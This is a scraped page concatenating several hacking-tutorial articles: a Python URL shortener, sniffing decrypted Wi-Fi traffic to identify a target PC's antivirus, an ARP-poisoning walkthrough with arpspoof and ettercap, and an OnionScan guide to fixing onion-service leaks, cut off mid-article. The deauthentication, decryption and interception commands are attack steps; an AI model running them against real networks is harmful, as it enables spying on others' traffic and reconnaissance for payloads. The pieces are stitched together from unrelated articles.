Hacking StrategyHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Run Kali Linux as a Windows SubsystemHow To:Build a Pumpkin Pi β€” The Rogue AP & MITM Framework That Fits in Your PocketHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Crack WPA/WPA2 with WifiteHow To:Spy on Network Relationships with Airgraph-NgNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device
How to Shorten URLs from the Command Line with Python Β« Null Byte :: WonderHowTo
Shortening URLs has become a necessity in this age ofTwitterand limited-character status updates. It not only allows us to cram more words into our oh-so-important Twitter statuses, but it also helps us with a few other things.Some Benefits of URL ShortenersWe can create temporary URLs. The URLs created by a URL shortener are deleted after a certain period of inactivity. This is good for a link that we just want to show to a group of friends quickly.Some URL shortening services allowanalysisof link traffic (GoogleandBitlycome to mind). This can be good for website owners, or people who make money off of webhits. It could help them analyze where their traffic is coming from for a particular link, rather than analyze a website as a whole.Posting longer status updates. People like me who use Twitter to promote their blog, or users who post links to news require every precious letter possible. Links tend to take up quite a few characters, so having URL shortener can be a godsend. It allows us to get our point across without spiraling downward into incoherent e-gibberish.I often want to shorten my URLs from the command line. Opening another browser tab can take up too many resources for my liking. It also can load rather slow, and the JavaScript on the page that loads the shortened URL will often loadimproperlyand not display the new URL. A URL shortener from the command line could also potentially allow us to convert big lists of links, as well as single ones, in a quick and simple manner. ThisNull Bytewill help us do just that! Let's hack together some code in thePython programming languageto shorten our URLs from the command line. This will go great in conjunction with our newly madeTwitter command-line application.RequirementsPythoninstalled on your system.Picking Our APIFirst off, we need to pick which API that we are going to code our Python application to communicate with. AnAPI(ApplicationProgrammingInterface) is basically the protocol for communicating with a web application's interface. This means that there is a specific standard and method for us to connect to the interface with that we must comply with.After a bit of research, the easiest API would be theGoogle URL shortener. I picked it because it does not require registration, an account, or any public API keys. This will keep everything simple so you can easily understand it.Code the ApplicationHere is what I came up with for a finished, cleanly coded and simplistic result. I named iturl.py.Grab the source codehere.To use the program, we simply type the following command into a terminal while in the same directory as the savedurl.pysource code.python url.py "http://paste.url/between/quotes.kthx"Code BreakdownIn the main function,gurl =is simply "curling" the data from the API URL. This is essentially all that we need.Assign all of the appropriate variables needed.The data returned from curling the Goo.gl API is printed out to the screen.If you think coding looks cool, maybe you should try to join theCommunity Byteactivites that we host weekly here at Null Byte.Become one with Null Byte!Twitter,Google+andIRC chat!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viasolobizcoachRelatedHow To:Use WebTech to Discover What Technologies a Website UsesHow To:Shorten links with bit.lyHow To:An Introduction to IPythonHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Execute Hidden Python Commands in a One-Line StagerHow to Train Your Python:Part 15, Script Structure and ExecutionHow To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Hack UnrealIRCd Using Python Socket ProgrammingHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1How To:Take Control of Sonos IoT Devices with PythonHow To:Get Fastboot Flashable Factory Images for Any OnePlus PhoneHow To:Use Your Command Line to Cast Almost Any Music or Video File TypeHow To:Turbo Ping Sweeping with PythonThe Hacks of Mr. Robot:How to Use the Shodan API with Python to Automate Scans for Vulnerable DevicesHow To:Use the YouTube's built-in URL shortening toolHow To:Find Hidden Web Directories with DirsearchIRC Guide:Making a BotHow To:Use beEF (Browser Exploitation Framework)How To:Transfer Your Spotify Playlists to Google Play MusicHow To:Make a Change-of-IP Notifier in PythonNews:A Basic Website Crawler, in Python, in 12 Lines of Code.How To:Code Your Own Twitter Client in Python Using OAuthHow To:Send SMS Messages with PythonGoodnight Byte:Hack Our IRC Bot to Issue CommandsGoodnight Byte:Coding an IRC Bot in Python (For Beginners)News:Learning Python 3.x as I go (Last Updated 6/72012)How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Make a Gmail Notifier in PythonHow To:Generate Word-Lists with Python for Dictionary AttacksGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:First Steps of Compiling a Program in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker Training
How to Identify Antivirus Software Installed on a Target's Windows 10 PC Β« Null Byte :: WonderHowTo
Determining the antivirus and firewall software installed on a Windows computer is crucial to an attacker preparing to create a targeted stager or payload. With covert deep packet inspection, that information is easily identified.This attack assumes the Wi-Fi password to the target network isalready known. With the password, an attacker canobserver data traversing the networkand enumerate installed security software. Popular antivirus and firewall solutions become easily identifiable when benign web traffic is filtered out.We'll learn how to capture and decrypt Wi-Fi traffic without authenticating to the target router, and we'll perform packet inspection to figure out the kinds of third-party security applications installed on the operating system.Don't Miss:Intercept Windows Passwords on a Local NetworkStep 1: Capture Wi-Fi TrafficTo get started inKali, use theairmon-ngcommand to stop all of the processes running in the background that may interfere with the wireless card.~# airmon-ng check kill Killing these processes: PID Name 2891 wpa_supplicantEnable monitor mode on theAlfa adapter(oranother wireless adapter) with theairmon-ng start wlan0command.~# airmon-ng start wlan0 PHY Interface Driver Chipset phy2 wlan0 rt2800usb Ralink Technology, Corp. RT2870/RT3070 (mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon) (mac80211 station mode vif disabled for [phy2]wlan0)Then, perform an initialairodump-ngscan to enumerate Wi-Fi networks in the surrounding area.~# airodump-ng wlan0mon CH 6 ][ Elapsed: 36 s ][ 2020-04-06 20:45 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:20:91:B4:F8:33 -19 13 6 0 11 270 WPA2 CCMP PSK NullByte_Network BSSID STATION PWR Rate Lost Frames ProbeWhen the router has been identified, pressControl-Cto stop the scan. Perform a targeted packet capture against the Wi-Fi router by including the--channel,--write,--bssid, and--essidoptions.~# airodump-ng --channel 11 --write /root/Desktop/capture --bssid "00:20:91:B4:F8:33" --essid "NullByte_Network" wlan0mon CH 9 ][ Elapsed: 14 mins ][ 2020-04-06 21:00 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:20:91:B4:F8:33 -20 100 8308 1895 0 11 270 WPA2 CCMP PSK NullByte_Network BSSID STATION PWR Rate Lost Frames ProbeAireplay-ngwill de-authenticate devices connected to the router. This command is necessary to capture the WPA2 handshake data. Captured packets are only decryptable with a valid handshake.Open a new terminal and use the followingaireplay-ngcommand to send three "deauth" packets to the router, forcing the authenticated users to reconnect.~# aireplay-ng -0 3 -a 00:20:91:B4:F8:33 -e "NullByte_Network" wlan0mon 05:12:46 Waiting for beacon frame (BSSID: 00:20:91:B4:F8:33) on channel 11 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 05:12:46 Sending DeAuth (code 7) to broadcast -- BSSID: [00:20:91:B4:F8:33] 05:12:46 Sending DeAuth (code 7) to broadcast -- BSSID: [00:20:91:B4:F8:33] 05:12:47 Sending DeAuth (code 7) to broadcast -- BSSID: [00:20:91:B4:F8:33]A successful attack will produce the "WPA handshake" notification in the top-right corner of theairodump-ngterminal.CH 9 ][ Elapsed: 14 mins ][ 2020-04-06 21:00 ][ WPA handshake: 00:20:91:B4:F8:33 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:20:91:B4:F8:33 -20 100 8308 1895 0 11 270 WPA2 CCMP PSK NullByte_Network BSSID STATION PWR Rate Lost Frames ProbeAt this point, theairodump-ngwindow should continue to capture packets for as long as possible (i.e., many hours). As time passes, security software in the target Windows 10 computer will periodically attempt to update the application and virus definition databases. These web queries are valuable to a hacker with access to the network preparing to mount a targeted attack.Step 2: Decrypt the PCAPAirdecap-ngis packet capture decryption tool and part of the Aircrack-ng suite.~# airdecap-ng -b "00:20:91:B4:F8:33" -e "NullByte_Network" -p "WIFI_PASSWORD_HERE" /root/Desktop/capture-01.cap Total number of stations seen 8 Total number of packets read 32310 Total number of WEP data packets 0 Total number of WPA data packets 4555 Number of plaintext data packets 0 Number of decrypted WEP packets 0 Number of corrupted WEP packets 0 Number of decrypted WPA packets 3435 Number of bad TKIP (WPA) packets 0 Number of bad CCMP (WPA) packets 0Airdecap-ng will use the Wi-Fi ESSID (-e) and password (-p) to decrypt and filter out packets belonging to the network. In the above example, we can see 3435 WPA decrypted packets. Airdecap-ng will create a file called "capture-01-dec.cap" in the current directory.After decrypting the PCAP, import the new capture-01-dec.cap file intoWireshark.Step 3: Search for Antivirus Software (Avast)Avastis one of the most popular antiviral software solutions in the world.Known Avast domains include avast.com and avcdn.net, its primary content delivery network (CDN). On a daily basis, these domains are used to fetch virus database and software updates as well as send telemetry information. These domains can be filtered out in Wireshark with the following display filter.ip.host ~ "(?i)(avast|avcdn)\.*"Many antivirus domains can be added to the filter and separated by vertical bars (|).The above results are a strong indication that the computer is using Avast antivirus software. The data can be further inspected to identify user-agent strings commonly used by this antivirus provider.http.user_agent ~ "(?i)avast*"This particular HTTP stream invoked a POST request and delivered some unencrypted data to an Avast server. As we can see, the request originated from the Windows 10 computer with an Avast user-agent.The body of the HTTP stream contains some unencrypted data related to the target device. The CPU type, Windows 10 hostname, and motherboard architecture, as well as Avast version and configuration settings, are discoverable from a single HTTP stream.POST /cgi-bin/iavs4stats.cgi HTTP/1.1 Host: v7.stats.avast.com User-Agent: avast! Antivirus (instup) Accept: */* Content-MD5: Content-Type: iavs4/stats Content-Length: GCHBitmap=0 GChBrand=AVFC GTBBitmap=0 GTBBrand= InstupVersion=19.5.4444.0 IsVirtual=1 NoRegistration=0 OfferEvent=0 OfferResult=2 SZB=0 ScAsAvastReg=1 ScAsAvastStatus=off ScAsOtherList=Windows Defender Antivirus,Avast Antivirus, ScAsOtherReg=2 ScAsOtherStatus=on,off, ScAvAvastReg=1 ScAvAvastStatus=off ScAvOtherList=Windows Defender Antivirus,Avast Antivirus, ScAvOtherReg=2 ScAvOtherStatus=on,off, ScFwAvastReg=0 ScFwAvastStatus= ScFwOtherList=Windows Firewall, ScFwOtherReg=1 ScFwOtherStatus=on, ShepherdConfigName=Avast-Windows-AV-Consumer_email-signatures_antitrack-production_production-new-installs_version-18.6-and-higher_driver-updater-production_v19.3-and-higher_v18.7-and-higher_v2017_test-datasharing-consent_test-antitrack-text-b_free_test-upsell-screens_smartscan-last-screen_new-recomendo_production_version-17.9-and-higher_avast-19-r5_smartscan-free---antivirus_v18.3-and-higher_alpha-new-installs_mybackend-on_test-pam-no-master-password_v18.5-and-higher_chrome-installed-by-avast_cleanup-premium-installation UpdatingTime=0 WEI_Cpu=8.4 WEI_D3D=9.9 WEI_Disk=7.3 WEI_Graphics=2.4 WEI_Memory=5.5 WEI_SystemRating=2.4 boot_time_scan_accepted=0 boot_time_scan_offered=0 brandCode=AVFC bytes=199216597 bytesOK=199216597 community=1 cookie=mmm_ava_tst_004_762_b cpu_name=Intel(R) Core(TM) i7-7700 CPU @ 2.80GHz,4 custom_scan_created=0 edition=1 gsMainStatus=0 gsNoticeNotifs=0 gsUrgentNotifs=0 gsWarningNotifs=0 gui_opened=4 gui_settings_altered=0 gui_settings_opened=0 guid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx help_opened=0 idate_w=1508774395 lan_addr=tokyoneon-PC lan_ip=192.168.1.152 lang=0409 licAlpha=1 licExpDays=30 licExpirationDate=1562974590 licFeature=5f0231d7-4c46-4855-8199-5d0cb185d427 licIssuedDate=1560382590 licSchemaId=avast-free-1s1m_1s1m licType=Trial licType2=4 offerInstReturn=0 offerReasons=0 offerType=1 on_demand_scan_invoked=0 operation=3 os=win,10,0,2,16299,0,AMD64 part.program=2378,2378,0,0 part.setup=2378,2378,0,0 part.vps=419828228,419828228,0,0 passive_mode=0 product=ais ram_mb=4990 repo_id=iavs9x serial=0 silent=0 status=00000000 statver=2.20 tspan=454 tspanOK=454 version=19.5.2378 statsSendTime=1260399041This data is very valuable to an attacker on the network as it enables them tocraft a payloadspecific to that user and operating system.In addition to Wireshark,tsharkandgrepcan easily print and filter DNS requests, respectively, in standard output. Appendsort -uto the command to show only unique domains (i.e., no duplicates).~# tshark -r ~/Desktop/capture-01-dec.cap -n -T fields -e dns.qry.name | grep -i "avast\|avcdn" | sort -u b1477563.iavs9x.u.avast.com b4380882.iavs9x.u.avast.com b4380882.vps18.u.avcdn.net d3336443.vps18.u.avcdn.net f3355109.iavs9x.u.avast.com filerep.ff.avast.com g0679661.iavs9x.u.avast.com g0679661.vps18.u.avcdn.net g5041154.vps18.u.avcdn.net h1745978.iavs9x.u.avast.com h6891735.vps18.u.avcdn.net k8528219.iavs9x.u.avast.com k9290131.iavs9x.u.avast.com m5972635.vps18.u.avcdn.net p3357684.vps18.u.avcdn.net r4907515.vps18.u.avcdn.net s-iavs9x.avcdn.net s-vps18.avcdn.net t7758057.vps18.u.avcdn.net v6831430.vps18.u.avcdn.net v7event.stats.avast.com v7.stats.avast.comStep 4: Search for Firewall Software (Comodo)Comodo Firewallis a popular firewall solution designed to monitor incoming and outgoing traffic to identify threats and prevent attacks.ItsDNS server configurationmakes it difficult for attackers on the network to enumerate installed applications and visited websites. Still, Comodo software will occasionally check for software updates giving an attacker all the information they need.ip.host ~ "(?i)(comodo)\.*"To view queried domains in standard output, examine the PCAP withtsharkand filter out DNS requests.~# tshark -r ~/Desktop/capture-01-dec.cap -n -T fields -e dns.qry.nameThis command will likely produce a large output containing thousands of domains, IP addresses, and duplicate entries. Append thesortanduniqcommands to count the most commonly queried servers.~# tshark -r ~/Desktop/capture-01-dec.cap -n -T fields -e dns.qry.name | sort | uniq -c 2 218.0.101.95.in-addr.arpa 72 22.70.154.156.in-addr.arpa 14 22.71.154.156.in-addr.arpa 1 download.comodo.com 1 ncc.avast.com 1 su.ff.avast.com 2 v10.vortex-win.data.microsoft.com 1 wireshark.orgNotice that the22.70.154.156.in-addr.arpaaddress appears 72 times in the PCAP. Aquick searchandIP lookupsuggests156.154.70.22has been a Comodo DNS server for many years. While this doesn't definitively mean the target has Comodo software installed, it would suggest they're security conscious.Final ThoughtsThis article covered only a fewWireshark display filters. There are manyHTTP,IP, andDNSfilters that would aid a hacker while gathering information about the target.With a comprehensivelist of popular antivirus software, an attacker will usually be able to say with certainty if a target Windows machine has security software installed. What's scarier is software enumeration is accomplishedwithout connecting to the Wi-Fi networkor needing physical access to the computer.If you enjoyed this article, follow me on Twitter@tokyoneon_andGitHubto keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.Don't Miss:Backdoor Windows 10 & Livestream the DesktopWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHacking macOS:How to Create an Undetectable PayloadHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)How To:Remove Personal Antivirus from your Windows PCAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:The Definitive Guide to Android MalwareHow To:Download the AVG Free antivirus softwareHow To:Manually remove ThinkPoint / Fake MSE from your PCHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hacking Windows 10:How to Create an Undetectable Payload, Part 2 (Concealing the Payload)How To:Recover Passwords for Windows PCs Using OphcrackNews:Malware Targets Mac Users Through Well-Played Phishing AttackAdvice from a Real Hacker:How to Know if You've Been HackedHow To:Remove viruses from a Windows PC with System RestoreHow To:Identify Missing Windows Patches for Easier ExploitationHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHack Like a Pro:How to Evade AV Software with ShellterHow To:Use Your Android Device as a Second Monitor for Your Windows PCHow To:The Fastest Way to Transfer Photos & Videos from Your iPhone to Your Windows 10 PCHow To:Scan for Viruses in Windows Using a Linux Live CD/USBLockdown:The InfoSecurity Guide to Securing Your Computer, Part INews:VARIOUS WINDOWS ISSUES RESOLVED BELOW...News:WINDOWS 7 (FIX TWEAK, REPAIR, CONJOIN SHELLS ETC...)How To:Get Rid of Even the Most Extreme Malware and Spyware on Your Grandma's PCHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Remove System Tool Malware (System Tool Antivirus) On Windows PCsNews:STANDP'S TOP LIST OF GREATEST SOFTWARES HE USES *NOW* & ALWAYS...News:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateNews:MAC OS X on PC for REALzZz, My FriendzZz...!Windows Security:Software LevelNews:... A Few Cool FreewarezZz ...News:MULTIBOOT CDHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux Computers
How to Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP Poisoning Β« Null Byte :: WonderHowTo
When your computer first connects to a nework, it sends out a request on the network to lease an IP from the router. The router then leases your computer an unused IP address, which is used as a unique routing address for sending traffic that is meant foryou, to you. As everything tends to, this method has its flaws.When you're on a network, local attackers can perform what is called aman-in-the-middleattack. When performing the attack, it makes it possible to sniff traffic and intercept unencrypted data, like passwords or email messages. So if you are one of the many people who do not useanyform of cryptographic protocol when you browse public internet, your data is open to analysis, among other things. An attack can succeed only when the attacker can impersonate each endpoint to the satisfaction of the otherβ€”it is an attack onmutual authentication. Most cryptographic protocols include some form of endpointauthenticationspecifically to prevent MITM attacks. For example,SSLauthenticates the server using a mutually trustedcertification authority.To perform this locally, we need to spoof ourselves to look like our router and start requesting traffic from another computer on our network. In order to trick another computer on our network into sending their traffic to ours, we need to ARP poison. This will make the target computer believe we are the default gateway and that it should be sending its traffic through us. After, we route the traffic to the actual default gateway and the gateway will send traffic back that we can forward to the victim. Everything appears to be normal and working on both ends.ARPorAddressResolutionProtocol is a method of letting the network map out IPs rather than giving each computer a table of the mapping. It is vulnerable to poisoning because there is no method of checking the authenticity of ARP replies built-in to the protocol. Thus, replies can be spoofed from other addresses on the network.WarningsI'm serious when I say, "Do this on your home network". Anyone with a decent intrusion detection system can easily detect an ARP poisoning attack by analyzing the packets logically. Why would a computer on the network be requesting and sending out ARP reply frames asking for another computer to connect to it? A friend of mine was in college and was poisoning the network and was caught within 10 minutes (they claim they used triangulation, but who knows).RequirementsLinux OSAdmin or root privilegesAt least two computers on your home networkStep1Download & Install the ToolsetText inboldmeans it is a terminal.We need to gather all of our tools needed to demonstrate this technique on ourselves.Obtain the following packages from your repository:dsniffiptablesettercapnmapTo Install the packages:Extract the packages.tar zxvf <package name>Configure the packages for compilation../configureCompile and install.sudo make && sudo make installStep2ARP Poison & Run EttercapGet your wireless card into monitor mode, so you're capable of sniffing traffic.sudo ifconfig wlan0 down && sudo ifconfig wlan0 mode monitor && sudo ifconfig wlan0 upNow we need to scan the local network for our target IP. This means we are pinging everyone on the local network and when we get replies, we can see their IP and pick them as a target.sudo nmap -sP 192.168.1.0/24Next, enable IP forwarding so we can foward our target computer's traffic.sudo echo 1 > /proc/sys/net/ipv4/ip_forwardIn order to forward the traffic properly, it needs to be rerouted to a port that we can listen on before forwarding.iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1024It's time to ARP poison your second computer to make it send traffic to you.sudo arpspoof -i [interface] -t [router ip, target ip]Finally, set up ettercap to capture traffic between you and the client.sudo ettercap -Tq -i wlan0 -w ~/Desktop/capWhen the target computer sends enecrypted data across the network (non-HTTPS websites), ettercap will see it and dump the packets into the file "cap" on the Desktop. Examine the packets with a hex editor. Any unencrypted information will be displayed in hexadecimal, which is essentially an easy way to convery binary digits into hexadecimal, and hexadecimal to ASCII, which is readable to normal humans. I usedwxHexEditor. As you can see, the "hidden" data can be seen in plain text on the right side when opened.It can happen easily, but can also bethwarted in a pinchusing Tor as an encrypted connection to the internet.If you have any questions, please consult with users of theIRCchannel, they are the Null Byte Sages. Please, follow me onTwitterif you like reading and want the latest articles as they come out.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaTGDailyRelatedHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a NetworkHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)Hack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHow To:Hack LAN passwords with EttercapHow To:Hack SSL passwords with ARP poisoningHow To:Advanced System Attacks - Total GuideHacker Fundamentals:A Tale of Two StandardsTutorial:DNS SpoofingHack Like a Pro:How to Conduct a Simple Man-in-the-Middle AttackNetworking Foundations:Basic IP Addressing (Part 2)How To:Intercept Images from a Security Camera Using WiresharkHacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkReal Scenarios #2:The Creepy Teacher [Part 1]How to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Control Network Traffic with Evil Limiter to Throttle or Kick Off DevicesNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:How Hackers Steal Your Internet & How to Defend Against ItWeekend Homework:How to Become a Null Byte Contributor (2/24/2012)Scrabble Bingo of the Day:URUSHIOLIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Get Free Wi-Fi from Hotels & MoreMastering Security, Part 2:How to Create a Home VPN TunnelNews:Poison Ivy Clothing
How to Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScan Β« Null Byte :: WonderHowTo
Configuring onion services for the first time can be tricky. A surprising number of system administrators make seemingly trivial mistakes that ultimately lead to catastrophic cases of de-anonymizing supposedlyanonymoussites on the dark web.OnionScanis a tool designed to identify common misconfigurations in onion services and aid us in understanding how to fix them.As security researcher@x0rzdemonstrated in anarticle on securing onion services, websites are often de-anonymized all too easily. He utilized software such ascURL, a command-line tool used for transferring data using various protocols, to collect HTTP response headers for laterShodanqueries.Don't Miss:How to Find Vulnerable Targets Using ShodanAll of the methods x0rz used to de-anonymize the onion services should have been ineffective if basic safeguards were taken by the site owners. System administrators need to take better precautions to prevent their websites from being vulnerable to server fingerprinting and enumeration. And that's where OnionScan comes into play.What Is OnionScan?OnionScan is a free and open-source tool designed for investigating onion services. Its written inGo, a programming language created by Google in 2009. OnionScan's primary goal is to help operators of onion services identify and fix operational security (OPSEC) issues with their services. OnionScan can also be used to help researchers and investigators monitor and track sites on the dark web.The developers of OnionScan aim to make finding vulnerabilities as simple as possible. Not because they agree with the motives of every investigation force in the world, but because they believe that by making these kinds of audits easy, they will create a powerful incentive for new and improved anonymity technologies.Step 1: Installing OnionScanLet's dive in and take a look at how to run OnionScan on aKalibox. You can run this in a virtual machine, on a laptop, or on aRaspberry Pi. Before starting, make sure your system is up to date by typingapt-getupdateinto a terminal window.Don't Miss:How to Install Kali Linux as a Virtual Machine on a MacThen, let's make sure we have Go installed. This dependency is required to install OnionScan, so open a terminal and type the following.sudo apt-get install golangWhen that's done installing, we'll need to clone the OnionScan repository fromthe developer's GitHub page. In the same terminal window, type the following.go get github.com/s-rah/onionscanThen compile it by running this command:go install github.com/s-rah/onionscanChange into the/root/go/bindirectory to by typingcd/root/go/bininto the terminal. Then list the directory contents withls.That's it for installing OnionScan. Simply executing./onionscanfrom the/root/go/bindirectory will invoke the help page and provide all the available options.Step 2: Using OnionScanFor this demo, I'll be anonymizing my Kali box withWhonix. Doing this will route all of my network traffic through theTornetwork. To do this, you can refer to our tutorial linked below.Don't Miss:How to Fully Anonymize Kali with Tor, Whonix & PIA VPNThis is primarily for convenience, as OnionScan only works against onion sites. To use OnionScan, type the command below into a terminal window../onionscan --torProxyAddress=10.152.152.10:9050 youronionservice.onionThe--torProxyAddresspart tells OnionScan to use a proxy, while10.152.152.10:9050is a Tor proxy port in the Whonix gateway. This argument will tell OnionScan to proxy requests through the Whonix gateway.For non-Whonix setups, we would use127.0.0.1:9050as ourtorProxyAddress../onionscan --torProxyAddress=127.0.0.1:9050 youronionservice.onionOnionScan also offers an alternate JSON output format for integration with other applications likeCensysand programming languages such as Python and JavaScript../onionscan --torProxyAddress=10.152.152.10:9050 --jsonReport youronionservice.onion > /path/to/save/destination/filename.jsonStep 3: Protecting Yourself & Your Onion ServicesDid OnionScan report a "High Risk" vulnerability with your onion service? Don't be alarmed. There are steps we can take to resolve these issues. Below, I'll cover how to fix and prevent some of the most common vulnerabilities discovered by OnionScan.1. Apache mod_status LeakThe Apache status module allows a server admin to actively monitor how well their server is performing. An HTML page is presented that provides the current server statistics in an easily readable form. With this information, attackers can:Build a fingerprint of your server, including version information for PHP and other software.Determine client IP addresses if you are co-hosting a clearnet site.Determine your IP address if your setup allows.Determine other sites you are co-hosting.Determine how active your site is.Find secret or hidden areas of your site.By default, this module is enabled and accessed by appending/server-statusto the website URL. This is still one of the biggest issues we find with dark web sites today.How to Fix ThisComment out or completely remove the<Location /server-status>brackets in the status.conf file. Open a terminal and type the command below to access it.nano /etc/apache2/mods-enabled/status.confAfter modifying the status.conf and saving the configuration, restart Apache by typing the command below into a terminal.sudo apachectl restartYou'll notice visiting http://youronionservice.onion/server-status now returns HTTP status code 404. This means you've successfully disabled mod_status.2. Open DirectoriesBy default, appending a trailing slash to a URL will instruct Apache to return the contents of a given directory. For example, I added a/hidden_folder/to my website. The image below shows the directory structure of my website.In the /images directory, we can see the hidden_folder, which would not normally be discovered by an attacker. With directories openly accessible, visiting http://youronionservice.onion/uploads/images/ will disclose the contents of the entire directory. The image below is an example of that.OnionScan will list every directory it was able to access. The image below is an example of OnionScan reporting open directories.How to Fix ThisWe'll need to modify theapache2.conf. Open a terminal and type the following command.nano /etc/apache2/apache2.confFind the<Directory /var/www/>brackets. Notice theIndexesbetween Options and FollowSymLinks. Here is how the brackets look by default:<Directory /var/www/>OptionsIndexesFollowSymLinksAllowOverride NoneRequire all granted</Directory>RemoveIndexesentirely, and it should look like this when we're done:<Directory /var/www/>Options FollowSymLinksAllowOverride NoneRequire all granted</Directory>Save and close the file, then restart Apache by typing the following command into a terminal.sudo apachectl restart3. EXIF TagsEXIF stands forExchangeableImageFile and is stored in JPEG, PNG, and PDF file types. This embedded data can sometimes reveal interesting information, including timestamps, device information, and GPS coordinates. Most websites still do not properly sanitize EXIF data from images, leaving themselves or their users at risk of de-anonymization.A perfect example of the dangers of EXIF data is the arrest ofHiginio Ochoa. FBI agents extrapolated his girlfriend's geographic location using the GPS data found in a photo Higinio uploaded to Twitter.OnionScan will list every photo which may contain sensitive EXIF metadata. The following screenshot is an example of OnionScan reporting harmful EXIF metadata discovered in JPGs found on an onion website.How to Fix ThisWe need to manually remove EXIF metadata from our images. Below are several recommended metadata wiping tools.ExifTool, a Perl application for editing metadata in a wide variety of files.Exiv2, a C++ application to manage image metadata.Jhead, a JPEG header manipulation tool.Pdfparanoia, a tool to remove watermark from academic papers.I'll be usingMAT(Metadata Anonymization Toolkit), a command-line tool used to remove metadata from images, which can be found in most popularLinuxdistribution repositories. To install MAT, open a terminal and type the command below.sudo apt-get install matAfter MAT is installed, we can display harmful EXIF metadata by typing the following command into a terminal.mat -d image.jpgThe-dwill instruct MAT to list all harmful metadata of a file without removing it. This is useful for viewing EXIF metadata without wiping it. To completely remove all the EXIF metadata, type the following command.mat image.jpg4. SSH, FTP & SMTPOnionScan collects 